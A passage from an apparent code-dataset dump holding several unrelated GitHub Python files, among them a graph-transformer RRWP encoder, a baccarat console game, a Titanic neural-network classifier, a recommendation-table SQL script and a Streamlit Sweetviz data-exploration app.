`torch_geometric.utils.to_dense_adj`\r\n Args:\r\n edge_index: The edge indices.\r\n batch: Batch vector, which assigns each node to a specific example.\r\n Returns:\r\n Complementary edge index.\r\n \"\"\"\r\n\r\n if batch is None:\r\n batch = edge_index.new_zeros(edge_index.max().item() + 1)\r\n\r\n batch_size = batch.max().item() + 1\r\n one = batch.new_ones(batch.size(0))\r\n num_nodes = scatter(one, batch,\r\n dim=0, dim_size=batch_size, reduce='add')\r\n cum_nodes = torch.cat([batch.new_zeros(1), num_nodes.cumsum(dim=0)])\r\n\r\n negative_index_list = []\r\n for i in range(batch_size):\r\n n = num_nodes[i].item()\r\n size = [n, n]\r\n adj = torch.ones(size, dtype=torch.short,\r\n device=edge_index.device)\r\n\r\n adj = adj.view(size)\r\n _edge_index = adj.nonzero(as_tuple=False).t().contiguous()\r\n # _edge_index, _ = remove_self_loops(_edge_index)\r\n negative_index_list.append(_edge_index + cum_nodes[i])\r\n\r\n edge_index_full = torch.cat(negative_index_list, dim=1).contiguous()\r\n return edge_index_full\r\n\r\n\r\n\r\n\r\n@register_node_encoder('rrwp_linear')\r\nclass RRWPLinearNodeEncoder(torch.nn.Module):\r\n \"\"\"\r\n FC_1(RRWP) + FC_2 (Node-attr)\r\n note: FC_2 is given by the Typedict encoder of node-attr in some cases\r\n Parameters:\r\n num_classes - the number of classes for the embedding mapping to learn\r\n \"\"\"\r\n def __init__(self, emb_dim, out_dim, use_bias=False, batchnorm=False, layernorm=False, pe_name=\"rrwp\"):\r\n super().__init__()\r\n self.batchnorm = batchnorm\r\n self.layernorm = layernorm\r\n self.name = pe_name\r\n\r\n self.fc = nn.Linear(emb_dim, out_dim, bias=use_bias)\r\n torch.nn.init.xavier_uniform_(self.fc.weight)\r\n\r\n if self.batchnorm:\r\n self.bn = nn.BatchNorm1d(out_dim)\r\n if self.layernorm:\r\n self.ln = nn.LayerNorm(out_dim)\r\n\r\n def forward(self, batch):\r\n # Encode just the first dimension if more exist\r\n rrwp = batch[f\"{self.name}\"]\r\n rrwp = self.fc(rrwp)\r\n\r\n if self.batchnorm:\r\n rrwp = self.bn(rrwp)\r\n\r\n if self.layernorm:\r\n rrwp = self.ln(rrwp)\r\n\r\n if \"x\" in batch:\r\n batch.x = batch.x + rrwp\r\n else:\r\n batch.x = rrwp\r\n\r\n return batch\r\n\r\n\r\n@register_edge_encoder('rrwp_linear')\r\nclass RRWPLinearEdgeEncoder(torch.nn.Module):\r\n '''\r\n Merge RRWP with given edge-attr and Zero-padding to all pairs of node\r\n FC_1(RRWP) + FC_2(edge-attr)\r\n - FC_2 given by the TypedictEncoder in same cases\r\n - Zero-padding for non-existing edges in fully-connected graph\r\n - (optional) add node-attr as the E_{i,i}'s attr\r\n note: assuming node-attr and edge-attr is with the same dimension after Encoders\r\n '''\r\n def __init__(self, emb_dim, out_dim, batchnorm=False, layernorm=False, use_bias=False,\r\n pad_to_full_graph=True, fill_value=0.,\r\n add_node_attr_as_self_loop=False,\r\n overwrite_old_attr=False):\r\n super().__init__()\r\n # note: batchnorm/layernorm might ruin some properties of pe on providing shortest-path distance info\r\n self.emb_dim = emb_dim\r\n self.out_dim = out_dim\r\n self.add_node_attr_as_self_loop = add_node_attr_as_self_loop\r\n self.overwrite_old_attr=overwrite_old_attr # remove the old edge-attr\r\n\r\n self.batchnorm = batchnorm\r\n self.layernorm = layernorm\r\n if self.batchnorm or self.layernorm:\r\n warnings.warn(\"batchnorm/layernorm might ruin some properties of pe on providing shortest-path distance info \")\r\n\r\n self.fc = nn.Linear(emb_dim, out_dim, bias=use_bias)\r\n torch.nn.init.xavier_uniform_(self.fc.weight)\r\n self.pad_to_full_graph = pad_to_full_graph\r\n self.fill_value = 0.\r\n\r\n padding = torch.ones(1, out_dim, dtype=torch.float) * fill_value\r\n self.register_buffer(\"padding\", padding)\r\n\r\n if self.batchnorm:\r\n self.bn = nn.BatchNorm1d(out_dim)\r\n\r\n if self.layernorm:\r\n self.ln = nn.LayerNorm(out_dim)\r\n\r\n def forward(self, batch):\r\n rrwp_idx = batch.rrwp_index\r\n rrwp_val = batch.rrwp_val\r\n edge_index = batch.edge_index\r\n edge_attr = batch.edge_attr\r\n rrwp_val = self.fc(rrwp_val)\r\n\r\n if edge_attr is None:\r\n edge_attr = edge_index.new_zeros(edge_index.size(1), rrwp_val.size(1))\r\n # zero padding for non-existing edges\r\n\r\n if self.overwrite_old_attr:\r\n out_idx, out_val = rrwp_idx, rrwp_val\r\n else:\r\n # edge_index, edge_attr = add_remaining_self_loops(edge_index, edge_attr, num_nodes=batch.num_nodes, fill_value=0.)\r\n edge_index, edge_attr = add_self_loops(edge_index, edge_attr, num_nodes=batch.num_nodes, fill_value=0.)\r\n\r\n out_idx, out_val = torch_sparse.coalesce(\r\n torch.cat([edge_index, rrwp_idx], dim=1),\r\n torch.cat([edge_attr, rrwp_val], dim=0),\r\n batch.num_nodes, batch.num_nodes,\r\n op=\"add\"\r\n )\r\n\r\n\r\n if self.pad_to_full_graph:\r\n edge_index_full = full_edge_index(out_idx, batch=batch.batch)\r\n edge_attr_pad = self.padding.repeat(edge_index_full.size(1), 1)\r\n # zero padding to fully-connected graphs\r\n out_idx = torch.cat([out_idx, edge_index_full], dim=1)\r\n out_val = torch.cat([out_val, edge_attr_pad], dim=0)\r\n out_idx, out_val = torch_sparse.coalesce(\r\n out_idx, out_val, batch.num_nodes, batch.num_nodes,\r\n op=\"add\"\r\n )\r\n\r\n if self.batchnorm:\r\n out_val = self.bn(out_val)\r\n\r\n if self.layernorm:\r\n out_val = self.ln(out_val)\r\n\r\n\r\n batch.edge_index, batch.edge_attr = out_idx, out_val\r\n return batch\r\n\r\n def __repr__(self):\r\n return f\"{self.__class__.__name__}\" \\\r\n f\"(pad_to_full_graph={self.pad_to_full_graph},\" \\\r\n f\"fill_value={self.fill_value},\" \\\r\n f\"{self.fc.__repr__()})\"\r\n\r\n\r\n\r\n\r\n@register_edge_encoder('masked_rrwp_linear')\r\nclass RRWPLinearEdgeMaskedEncoder(torch.nn.Module):\r\n '''\r\n RRWP Linear + Sparse-Attention Masking\r\n '''\r\n def __init__(self, emb_dim, out_dim, batchnorm=False, layernorm=False, use_bias=False,\r\n fill_value=0.,\r\n add_node_attr_as_self_loop=False,\r\n overwrite_old_attr=False,\r\n mask_index_name=\"edge_index\",\r\n ):\r\n super().__init__()\r\n # note: batchnorm/layernorm might ruin some properties of pe on providing shortest-path distance info\r\n self.emb_dim = emb_dim\r\n self.out_dim = out_dim\r\n self.add_node_attr_as_self_loop = add_node_attr_as_self_loop\r\n self.overwrite_old_attr=overwrite_old_attr # remove the old edge-attr\r\n self.mask_index_name = mask_index_name\r\n\r\n self.batchnorm = batchnorm\r\n self.layernorm = layernorm\r\n if self.batchnorm or self.layernorm:\r\n warnings.warn(\"batchnorm/layernorm might ruin some properties of pe on providing shortest-path distance info \")\r\n\r\n self.fc = nn.Linear(emb_dim, out_dim, bias=use_bias)\r\n torch.nn.init.xavier_uniform_(self.fc.weight)\r\n self.fill_value = 0.\r\n\r\n padding = torch.ones(1, out_dim, dtype=torch.float) * fill_value\r\n self.register_buffer(\"padding\", padding)\r\n\r\n if self.batchnorm:\r\n self.bn = nn.BatchNorm1d(out_dim)\r\n\r\n if self.layernorm:\r\n self.ln = nn.LayerNorm(out_dim)\r\n\r\n def forward(self, batch):\r\n rrwp_idx = batch.rrwp_index\r\n rrwp_val = batch.rrwp_val\r\n edge_index = batch.edge_index\r\n edge_attr = batch.edge_attr\r\n rrwp_val = self.fc(rrwp_val)\r\n mask_index = batch.get(self.mask_index_name, None)\r\n num_nodes = batch.num_nodes\r\n\r\n if edge_attr is None:\r\n edge_attr = edge_index.new_zeros(edge_index.size(1), rrwp_val.size(1))\r\n # zero padding for non-existing edges\r\n\r\n if self.overwrite_old_attr:\r\n out_idx, out_val = rrwp_idx, rrwp_val\r\n else:\r\n out_idx, out_val = torch_sparse.coalesce(\r\n torch.cat([edge_index, rrwp_idx], dim=1),\r\n torch.cat([edge_attr, rrwp_val], dim=0),\r\n batch.num_nodes, batch.num_nodes,\r\n op=\"add\"\r\n )\r\n\r\n if mask_index is not None:\r\n mask_index, _ = add_remaining_self_loops(mask_index, None, num_nodes=batch.num_nodes)\r\n mask_val = mask_index.new_full((mask_index.size(1), ), 1)\r\n mask_comp = mask_index.new_full((out_idx.size(1), ), 0)\r\n mask_pad = mask_index.new_full((mask_index.size(1), out_val.size(1)), 0)\r\n _, masking = torch_sparse.coalesce(\r\n torch.cat([mask_index, out_idx], dim=1),\r\n torch.cat([mask_val, mask_comp], dim=0),\r\n m=num_nodes, n=num_nodes,\r\n op=\"max\",\r\n )\r\n out_idx, out_val = torch_sparse.coalesce(\r\n torch.cat([mask_index, out_idx], dim=1),\r\n torch.cat([mask_pad, out_val], dim=0),\r\n batch.num_nodes, batch.num_nodes,\r\n op=\"add\"\r\n )\r\n masking = masking.type(torch.bool)\r\n out_idx, out_val = out_idx[:, masking], out_val[masking]\r\n\r\n if self.batchnorm:\r\n out_val = self.bn(out_val)\r\n\r\n if self.layernorm:\r\n out_val = self.ln(out_val)\r\n\r\n\r\n batch.edge_index, batch.edge_attr = out_idx, out_val\r\n return batch\r\n\r\n def __repr__(self):\r\n return f\"{self.__class__.__name__}\" \\\r\n f\"(pad_to_full_graph={self.pad_to_full_graph},\" \\\r\n f\"fill_value={self.fill_value},\" \\\r\n f\"{self.fc.__repr__()})\"\r\n\r\n\r\n\r\n\r\n@register_edge_encoder('pad_to_full_graph')\r\nclass PadToFullGraphEdgeEncoder(torch.nn.Module):\r\n '''\r\n Padding to Full Attention\r\n '''\r\n def __init__(self,**kwargs):\r\n super().__init__()\r\n # note: batchnorm/layernorm might damage some properties of pe on providing shortest-path distance info\r\n self.pad_to_full_graph = True\r\n\r\n def forward(self, batch):\r\n edge_index = batch.edge_index\r\n edge_attr = batch.edge_attr\r\n\r\n out_idx, out_val = edge_index, edge_attr\r\n\r\n if self.pad_to_full_graph:\r\n edge_index_full = full_edge_index(out_idx, batch=batch.batch)\r\n # edge_attr_pad = self.padding.repeat(edge_index_full.size(1), 1)\r\n edge_attr_pad = edge_attr.new_zeros(edge_index_full.size(1), edge_attr.size(1))\r\n # zero padding to fully-connected graphs\r\n out_idx = torch.cat([out_idx, edge_index_full], dim=1)\r\n out_val = torch.cat([out_val, edge_attr_pad], dim=0)\r\n out_idx, out_val = torch_sparse.coalesce(\r\n out_idx, out_val, batch.num_nodes, batch.num_nodes,\r\n op=\"add\"\r\n )\r\n\r\n batch.edge_index, batch.edge_attr = out_idx, out_val\r\n return batch\r\n\r\n def __repr__(self):\r\n return f\"{self.__class__.__name__}\" \\\r\n f\"(pad_to_full_graph={self.pad_to_full_graph},\" \\\r\n f\"fill_value={self.fill_value},\" \\\r\n f\"{self.fc.__repr__()})\"\r\n\r\n","repo_name":"LiamMa/GRIT","sub_path":"grit/encoder/rrwp_encoder.py","file_name":"rrwp_encoder.py","file_ext":"py","file_size_in_byte":12350,"program_lang":"python","lang":"en","doc_type":"code","stars":48,"dataset":"github-code","pt":"75"} +{"seq_id":"32356131564","text":"#EP - DESING DE SOFTWARE\n#EQUIPE: LETÍCIA TELES MACHADO\n#DATA: 18/10/2020\nimport random\nfrom random import randint\n#PERGUNTA AO JOGADOR EM QUEM APOSTA E QUANTO APOSTA\nfichas = 100\nwhile fichas > 0:\n aposta = input('Qual a sua aposta? (Jogador/Banco/Empate): ')\n while True:\n if aposta==\"Jogador\" or aposta==\"Banco\" or aposta==\"Empate\":\n print(\"Você realizou sua escolha\")\n break\n else:\n print(\"Você ainda não fez a sua escolha\")\n aposta = input('Qual a sua aposta? (Jogador/Banco/Empate): ') \n\n apostaficha = int(input('Quanto você quer apostar? Voce tem {0} fichas no momento: '.format(fichas)))\n while True:\n if apostaficha > fichas or apostaficha <=0 :\n print ('Me desculpe mas você não tem todas essas fichas ou o valor colocado não é valido')\n apostaficha = int(input('Quanto você quer apostar? Voce tem {0} fichas no momento: '.format(fichas)))\n else:\n break\n\n#CARTAS \n espada = [2,3,4,5,6,7,8,9,0,0,0,0,1]\n paus = [2,3,4,5,6,7,8,9,0,0,0,0,1]\n copas = [2,3,4,5,6,7,8,9,0,0,0,0,1]\n ouros = [2,3,4,5,6,7,8,9,0,0,0,0,1]\n cartas = espada + paus + copas + ouros\n\n#Embaralhando as cartas\n random.shuffle(cartas)\n\n#Sorteando as cartas para o jogador\n c1j = random.randint(0,len(cartas)- 1)\n carta1jogador = cartas[c1j]\n c2j= random.randint(0, len(cartas)-1- carta1jogador)\n carta2jogador= cartas[c2j]\n somajogador= carta1jogador + carta2jogador\n\n#Sorteando as cartas para o Banco\n c1b = random.randint(0,len(cartas)-1-carta1jogador-carta2jogador)\n carta1banco = cartas[c1b]\n c2b= random.randint(0, len(cartas)-1- carta1jogador-carta2jogador-carta1banco)\n carta2banco= cartas[c2b]\n somabanco= carta1banco + carta2banco\n\n#Sorteando as cartas extras\n c3j =random.randint(0, len(cartas)-1- carta1jogador-carta2jogador-carta1banco- carta2banco)\n carta3jogador = cartas[c3j]\n c3b = random.randint(0, len(cartas)-1- carta1jogador-carta2jogador-carta1banco- carta2banco - carta3jogador)\n carta3banco = cartas[c3b]\n\n#Verificando soma\n if somajogador >=10:\n somajogador = somajogador-10\n if somabanco >=10:\n somabanco = somabanco - 10\n\n#Adição da terceira carta se necessário\n if somajogador!=9 and somajogador!=8 and somajogador!=6 and somajogador!=7:\n somajogador += carta3jogador\n if somabanco!=9 and somabanco!=8 and somabanco!=7 and somabanco!=8:\n somabanco += carta3banco \n\n#Verificando a soma\n if somajogador >=10:\n somajogador = somajogador-10\n if somabanco >=10:\n somabanco = somabanco - 10 \n\n#Mostrando a soma para o jogador\n print(\"A soma do jogador foi {0}\".format(somajogador))\n print(\"A soma do banco foi {0}\".format(somabanco))\n\n#Verificação do resultado\n if somabanco!= somajogador:\n if somabanco > somajogador:\n print(\"A rodada acabou e o banco venceu\")\n if aposta == 'Banco':\n apostaficha = apostaficha *0.95\n apostaficha = int(apostaficha)\n fichas = fichas + apostaficha\n print (\"Voce acertou e agora está com {0}\".format(fichas))\n else:\n fichas = fichas - apostaficha\n print(\"Você perdeu e agora está com {0}\".format(fichas))\n if somajogador > somabanco:\n print(\"O jogo acabou e o Jogador venceu\")\n if aposta == 'Jogador':\n apostaficha= apostaficha \n fichas = fichas + apostaficha\n print (\"Voce acertou e agora está com {0}\".format(fichas))\n else:\n fichas = fichas - apostaficha\n print(\"Você perdeu e agora está com {0}\".format(fichas))\n\n if somabanco == somajogador:\n print(\"A rodada acabou e empatou\")\n if aposta=='Empate':\n apostaficha = 8* apostaficha\n fichas = fichas + apostaficha\n print (\"Voce acertou e agora está com {0}\".format(fichas))\n else:\n fichas = fichas - apostaficha\n print(\"Você perdeu e agora está com {0}\".format(fichas)) \n#Perguntar se ainda quer jogar (se tiver fichas)\n if fichas > 0:\n continuar = input(\"Deseja continuar jogando? (Sim/Nao). Você ainda possui {0} fichas: \".format(fichas))\n while continuar != \"Sim\" and continuar!=\"Nao\":\n print(\"Resposta invalida\")\n continuar = input(\"Deseja continuar jogando? (Sim/Nao). Você ainda possui {0} fichas: \".format(fichas))\n if continuar == \"Nao\":\n print (\"Acabou, Obrigada por jogar!\")\n break \n else:\n True \n elif fichas == 0:\n print ('Voce não possui mais fichas, Obrigada por Jogar!')","repo_name":"leticiatm2001/EP-DESIGN-DE-SOFTWARE","sub_path":"Bacara.py","file_name":"Bacara.py","file_ext":"py","file_size_in_byte":4774,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4583425692","text":"from create_connnection import create_connection\nimport random\n\ndb = create_connection()\ncur = db[0]\nconn = db[1]\n\nprint(\"\\n### table_profile_recommendations.py ###\\n\")\n\n# Maakt tabel met data van views per product uit tabel products.\n\n\nprint(\"Creating table with recommendations per user...\")\n\n# Maakt tabel met recommendations per profiel uit tabel popular_categorys_per_user.\ndef make_tabel():\n cur.execute(\"DROP TABLE IF EXISTS profile_recommendations\")\n\n cur.execute(\"CREATE TABLE profile_recommendations AS (select id, catrecommend, subcatrecommend, subsubcatrecommend ,subsubcatrecommend_2 from popular_categorys_per_user)\")\n get_rid_null()\n\ndef get_rid_null():\n cur.execute(\"select id from products;\")\n all_prods = cur.fetchall()\n\n cur.execute(\"select catrecommend from profile_recommendations where subsubcatrecommend IS NULL\")\n all_cat_rec_1 = cur.fetchall()\n all_cat_rec_1 = set(all_cat_rec_1)\n all_cat_rec_1 = list(all_cat_rec_1)\n\n cur.execute(\"select catrecommend from profile_recommendations where subsubcatrecommend_2 IS NULL\")\n all_cat_rec_2 = cur.fetchall()\n all_cat_rec_2 = set(all_cat_rec_2)\n all_cat_rec_2 = list(all_cat_rec_2)\n\n for t in range(0, len(all_cat_rec_1)):\n print(\"\\rRendering profile recommendations: {} from 7....\".format(t), end='')\n ex = \"\"\"UPDATE profile_recommendations SET subsubcatrecommend = %s where catrecommend like %s and subsubcatrecommend IS NULL\"\"\"\n cur.execute(ex, (random.choice(all_prods), all_cat_rec_1[t], ))\n conn.commit()\n print('Removed null from subsubcatrecommend')\n\n for ind in range(0, len(all_cat_rec_2)):\n print(\"\\rRendering profile recommendations: {} from 8....\".format(ind), end='')\n ex = \"\"\"UPDATE profile_recommendations SET subsubcatrecommend_2 = %s where catrecommend like %s and subsubcatrecommend_2 IS NULL;\"\"\"\n cur.execute(ex, (random.choice(all_prods), all_cat_rec_2[ind], ))\n print('Removed null from subsubcatrecommend_2')\n\n print(\"Recommendations created for user!\")\n\nmake_tabel()\n\nconn.commit()\n\ncur.close()\nconn.close()\n\n# Start het eerstvolgende bestand.\n\nexec(open('RecommendPerProduct_names.py').read())","repo_name":"stormjoannes/AI-Group-project","sub_path":"backend/table_profile_recommendations.py","file_name":"table_profile_recommendations.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71247199922","text":"import numpy as np\nimport pandas as pd\nimport os\nimport torch\nimport torch.nn as nn\nfrom torch.utils import data\n\ndef pre_process(data):\n # 处理缺失值\n data['Age'] = data['Age'].fillna(data['Age'].median())\n data['Embarked'] = data['Embarked'].fillna('S')\n\n # 处理str\n data.loc[data['Sex'] == 'male', 'Sex'] = 0\n data.loc[data['Sex'] == 'female', 'Sex'] = 1\n data.loc[data['Embarked'] == 'S', 'Embarked'] = 0\n data.loc[data['Embarked'] == 'C', 'Embarked'] = 1\n data.loc[data['Embarked'] == 'Q', 'Embarked'] = 2\n\n # 删除不需要的列\n predector = ['Pclass', 'Sex', 'Age', 'SibSp', 'Parch', 'Fare', 'Embarked']\n res = data.loc[:, predector].values.astype(np.float32)\n # 归一化\n res[:, 0] /= 3\n res[:, 2] /= 100\n res[:, 3] /= 8\n res[:, 4] /= 6\n res[:, 5] /= 220\n res[:, 6] /= 2\n\n if 'Survived' in data.columns:\n return res, data.loc[:, 'Survived'].values.astype(np.int64)\n return res\n\ndef train(net, loss_fn, optimizer, data_iter, num_epoch):\n net.train()\n for epoch in range(num_epoch):\n print('training epoch : ', epoch)\n net.train()\n for X, y in data_iter:\n # print(y[0].dtype)\n optimizer.zero_grad()\n output = net(X)\n loss = loss_fn(output, y)\n loss.backward()\n optimizer.step()\n print('epoch ', epoch, ' acc: ', eval_acc(net, data_iter))\n\ndef eval_survived(net, test_iter):\n net.eval()\n res = np.zeros(418)\n\n for i in range(418):\n y = net(test_iter[i][None, :])\n if y[0][1] > y[0][0]:\n res[i] = 1\n\n return res.astype(np.uint8)\n\n\n\n\ndef eval_acc(net, data_iter):\n net.eval()\n cnt = 0\n for X, y in data_iter:\n output = net(X)\n # batch_size * 2\n cnt += torch.sum((output.argmax(dim=1) == y).float())\n return cnt / 891\n\n\n# path\nroot = 'titanic'\ntrain_path = os.path.join(root, 'train.csv')\ntest_path = os.path.join(root, 'test.csv')\nres_path = os.path.join(root, 'res.csv')\n\n# load data\ntitanic = pd.read_csv(train_path)\ntest_set = pd.read_csv(test_path)\n\n# pre-processing\ntrain_data, train_label = pre_process(titanic)\ntrain_data = torch.tensor(train_data)\ntrain_label = torch.tensor(train_label)\ntest = torch.tensor(pre_process(test_set))\ndata_set = data.TensorDataset(train_data, train_label)\n\n# net-define\nnet = nn.Sequential(\n nn.Linear(7, 256), nn.ReLU(),\n nn.Linear(256, 128), nn.ReLU(),\n nn.Linear(128, 128), nn.ReLU(),\n nn.Linear(128, 128), nn.ReLU(),\n nn.Linear(128, 2)\n)\n\n# train\nbatch_size, lr, num_epoch = 3, 0.001, 10\nloss_fn = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(net.parameters(), lr, weight_decay=0.0001)\ndata_iter = data.DataLoader(data_set, batch_size=batch_size, shuffle=True)\n\ntrain(net, loss_fn, optimizer, data_iter, num_epoch)\n\n# predict and save\npredict = eval_survived(net, test)\n\nres = pd.DataFrame(predict, index=range(892, 1310), columns=['Survived'])\nres.to_csv(res_path)","repo_name":"lhx21shscn/TorchLearn","sub_path":"Kaggle_Titanic/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"34152408727","text":"# <---coding: utf-8--->\n# @Time: 2022/5/5/20:26\n# @Author = posiondy\n# @Email: 1547590574@qq.com\n# @Software: PyCharm\nfrom typing import List\n\n\nclass Solution:\n def numSubarrayProductLessThanK(self, nums: List[int], k: int) -> int:\n # 参考全站27的写法, 设计一个滑动窗口\n left, res, count = 0, 1, 0\n for right, item in enumerate(nums):\n res *= item\n # 窗口开始滑动,只有当前乘积大于k时才滑动,窗口的左边界右移,乘积变小\n while left <= right and res >= k:\n res /= nums[left]\n left += 1\n # 这里只要这个长度满足,那么它的子串都满足,长度等于1的子串,因为大于1的在后面会被重新统计\n count += right - left + 1\n return count\n\ns = Solution()\nprint(s.numSubarrayProductLessThanK([10,5,2,6],100))","repo_name":"1547590574/LetCode","sub_path":"problem713.py","file_name":"problem713.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"10779485542","text":"import math\r\n\r\ndef evaluate_limit_with_table(f, x_values, a):\r\n # Print the table header\r\n print(\"x\\t\\tf(x)\")\r\n print(\"-------------------------\")\r\n \r\n # Evaluate the function at each x value and print the results\r\n for x in x_values:\r\n if x == a:\r\n # Check for continuity at x = a\r\n if f(a - 0.001) == f(a + 0.001):\r\n print(f\"{x}\\t\\t{f(x)}\")\r\n else:\r\n print(f\"{x}\\t\\tundefined\")\r\n else:\r\n print(f\"{x}\\t\\t{f(x)}\")\r\n\r\n# Test the function with the function f(x) = sqrt(x^2 + 8) if x < 1, -2x + 5 if x > 1\r\n# x values from 5 to 6\r\nx_values = [x/10 for x in range(50, 61)]\r\n\r\n\r\ndef f(x):\r\n if x != 6:\r\n return x**2-3*x-18/x-6\r\n elif x > 6:\r\n return 7\r\n else:\r\n return None\r\nevaluate_limit_with_table(lambda x: f(6), x_values, 3)\r\n\r\n\r\n#did not pass but I think it was a logic issue on my part","repo_name":"eric-levinson/calc-i-notes","sub_path":"py-files/continuous.py","file_name":"continuous.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"13629051033","text":"# from django.views.generic.base import View\n# from rest_framework.views import APIView\n# from django.conf import settings\n#!/usr/bin/env python\n\n\n# def func():\n# fun_list = []\n# for i in range(4):\n# def foo(x, i=i):\n# return x*i\n# fun_list.append(foo)\n# return fun_list\n#\n#\n# for m in func():\n# print(m(2))\n\nclass SingleTool(object):\n __instance = None\n\n def __new__(cls, *args, **kwargs):\n if not cls.__instance:\n cls.__instance = object.__new__(cls)\n return cls.__instance\n\n def addxnum(self,*args):\n my_sum = 0\n for value in args:\n my_sum +=value\n return my_sum\n\n\nt1 = SingleTool()\nprint(t1.addxnum(1,2,3))\nprint(t1)\nt2=SingleTool()\nprint(t2)\n\n\na = [(i-2, i-1, i) for i in range(1, 100) if i % 3 == 0]\nprint(a)\nprint([[x for x in range(1,100)][i:i+3] for i in range(0, 100, 3)])","repo_name":"Archer1314/MeiDuo_store","sub_path":"meiduo/meiduo/apps/users/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"72516679601","text":"import cv2 as cv\n\ndef rescale_frame(frame, scale=0.8):\n width = int(frame.shape[1]*scale)\n height = int(frame.shape[0]*scale)\n new_dim = (width, height)\n return cv.resize(frame, new_dim, interpolation=cv.INTER_AREA)\n\n\n# Give video file path, in case you want to load that\n# vid_capture = cv.VideoCapture(0)\nvid_capture = cv.VideoCapture('../Resources/Videos/kitten.mp4')\nprint(vid_capture.isOpened())\n\nwhile True:\n is_true, vid_frame = vid_capture.read()\n print(is_true)\n if is_true:\n cv.imshow('Video::', rescale_frame(vid_frame, 0.5))\n if cv.waitKey(30) & 0xFF == ord('q'):\n break\n else:\n break\n\nvid_capture.release()\ncv.destroyAllWindows()\n","repo_name":"amdp-chauhan/python-opencv-exp","sub_path":"Starting/4. scale-video.py","file_name":"4. scale-video.py","file_ext":"py","file_size_in_byte":699,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4642013899","text":"\n\n\n\nimport streamlit as st\nimport pandas as pd\nimport sweetviz\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.datasets import load_diabetes, load_boston\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport base64\nimport io\n#----------------------------------#\n# Page layout\n## Page expands to full width\nst.set_page_config(page_title=\"The Sweetviz App\", layout=\"wide\")\n\n#---------------------------------#\n# Model building\ndef build_model(df):\n df = df.loc[:] # Having a look at the all column\n X = df.iloc[:, :-1] # Using all column except for the last column as X\n Y = df.iloc[:,-1] # Selecting the last column as Y\n \n st.markdown('**1.2. Dataset dimension**')\n st.write('X')\n st.info(X.shape)\n st.write('Y')\n st.info(Y.shape)\n\n st.markdown('**1.3. Variable details**:')\n st.write('X variable (All are shown)')\n st.info(list(X.columns[:]))\n st.write('Y variable')\n st.info(Y.name)\n \n # Using sweetviz model\n X_train, X_test, Y_train, Y_test = train_test_split(X, Y,test_size = split_size,random_state = seed_number)\n predictions_train = (X_train, Y_train)\n predictions_test = (X_test, Y_test)\n\n # Analyzing the dataset using Sweetviz library\n train_report = sweetviz.analyze([predictions_train, \"Train\"], target_feat=Y)\n comparison_report = sweetviz.compare([predictions_train, \"Train\"], [predictions_test, \"Test\"], target_feat=Y)\n \n st.subheader(\"2. The Sweetviz report\")\n \n train_html = filedownload(train_report.show_html(\"Report.html\"), unsafe_allow_html=True)\n compare_html = filedownload(comparison_report.show_html(\"Comparison.html\"), unsafe_allow_html=True)\n \n # Creating a whole report in the form of HTML file\n st.write(\"Train set Sweetviz report\")\n st.markdown(train_html)\n \n # Comparing the training and testing dataset using Sweetviz\n st.write(\"Comparing Train & Test dataset Sweetviz report\")\n st.markdown(compare_html)\n \n# Download html file data\n# https://discuss.streamlit.io/t/how-to-download-file-in-streamlit/1806\ndef filedownload(df, filename):\n csv = df.to_csv(index=False)\n b64 = base64.b64encode(csv.encode()).decode() # strings <-> bytes conversions\n href = f'Download {filename} File'\n return href\n\ndef imagedownload(plt, filename):\n s = io.BytesIO()\n plt.savefig(s, format='pdf', bbox_inches='tight')\n plt.close()\n b64 = base64.b64encode(s.getvalue()).decode() # strings <-> bytes conversions\n href = f'Download {filename} File'\n return href\n \n \n#---------------------------------#\nst.write(\"\"\"\n# The Sweetviz App\n\n**Sweetviz** library is used to generate beautiful, high-density, highly detailed visualization to Exploratory Data Analysis.\n\nDeveloped by: [Akshay Narvate](https://akshaynarvate-resume-app-streamlit-app-y86511.streamlitapp.com/)\n\"\"\")\n\n#---------------------------------#\n# Sidebar - Collects user input features into dataframe\nwith st.sidebar.header('1. Upload your CSV data'):\n uploaded_file = st.sidebar.file_uploader(\"Upload your input CSV file\", type=[\"csv\"])\n st.sidebar.markdown(\"\"\"\n[Example CSV input file](https://github.com/akshaynarvate/Future-Sales-Prediction/blob/main/future_sales_predicton.csv)\n\"\"\")\n\n# Sidebar - Specify parameter settings\nwith st.sidebar.header('2. Set Parameters'):\n split_size = st.sidebar.slider('Data split ratio (% for Training Set)', 10, 90, 80, 5)\n seed_number = st.sidebar.slider('Set the random seed number', 1, 100, 42, 1)\n\n\n#---------------------------------#\n# Main panel\n\n# Displays the dataset\nst.subheader('1. Dataset')\n\nif uploaded_file is not None:\n df = pd.read_csv(uploaded_file)\n st.markdown('**1.1. Glimpse of dataset**')\n st.write(df)\n build_model(df)\nelse:\n st.info('Awaiting for CSV file to be uploaded.')\n if st.button('Press to use Example Dataset'):\n # Diabetes dataset\n #diabetes = load_diabetes()\n #X = pd.DataFrame(diabetes.data, columns=diabetes.feature_names)\n #Y = pd.Series(diabetes.target, name='response')\n #df = pd.concat( [X,Y], axis=1 )\n\n #st.markdown('The Diabetes dataset is used as the example.')\n #st.write(df.head(5))\n\n # Boston housing dataset\n boston = load_boston()\n #X = pd.DataFrame(boston.data, columns=boston.feature_names)\n #Y = pd.Series(boston.target, name='response')\n X = pd.DataFrame(boston.data, columns=boston.feature_names).loc[:100] # FOR TESTING PURPOSE, COMMENT THIS OUT FOR PRODUCTION\n Y = pd.Series(boston.target, name='response').loc[:100] # FOR TESTING PURPOSE, COMMENT THIS OUT FOR PRODUCTION\n df = pd.concat( [X,Y], axis=1 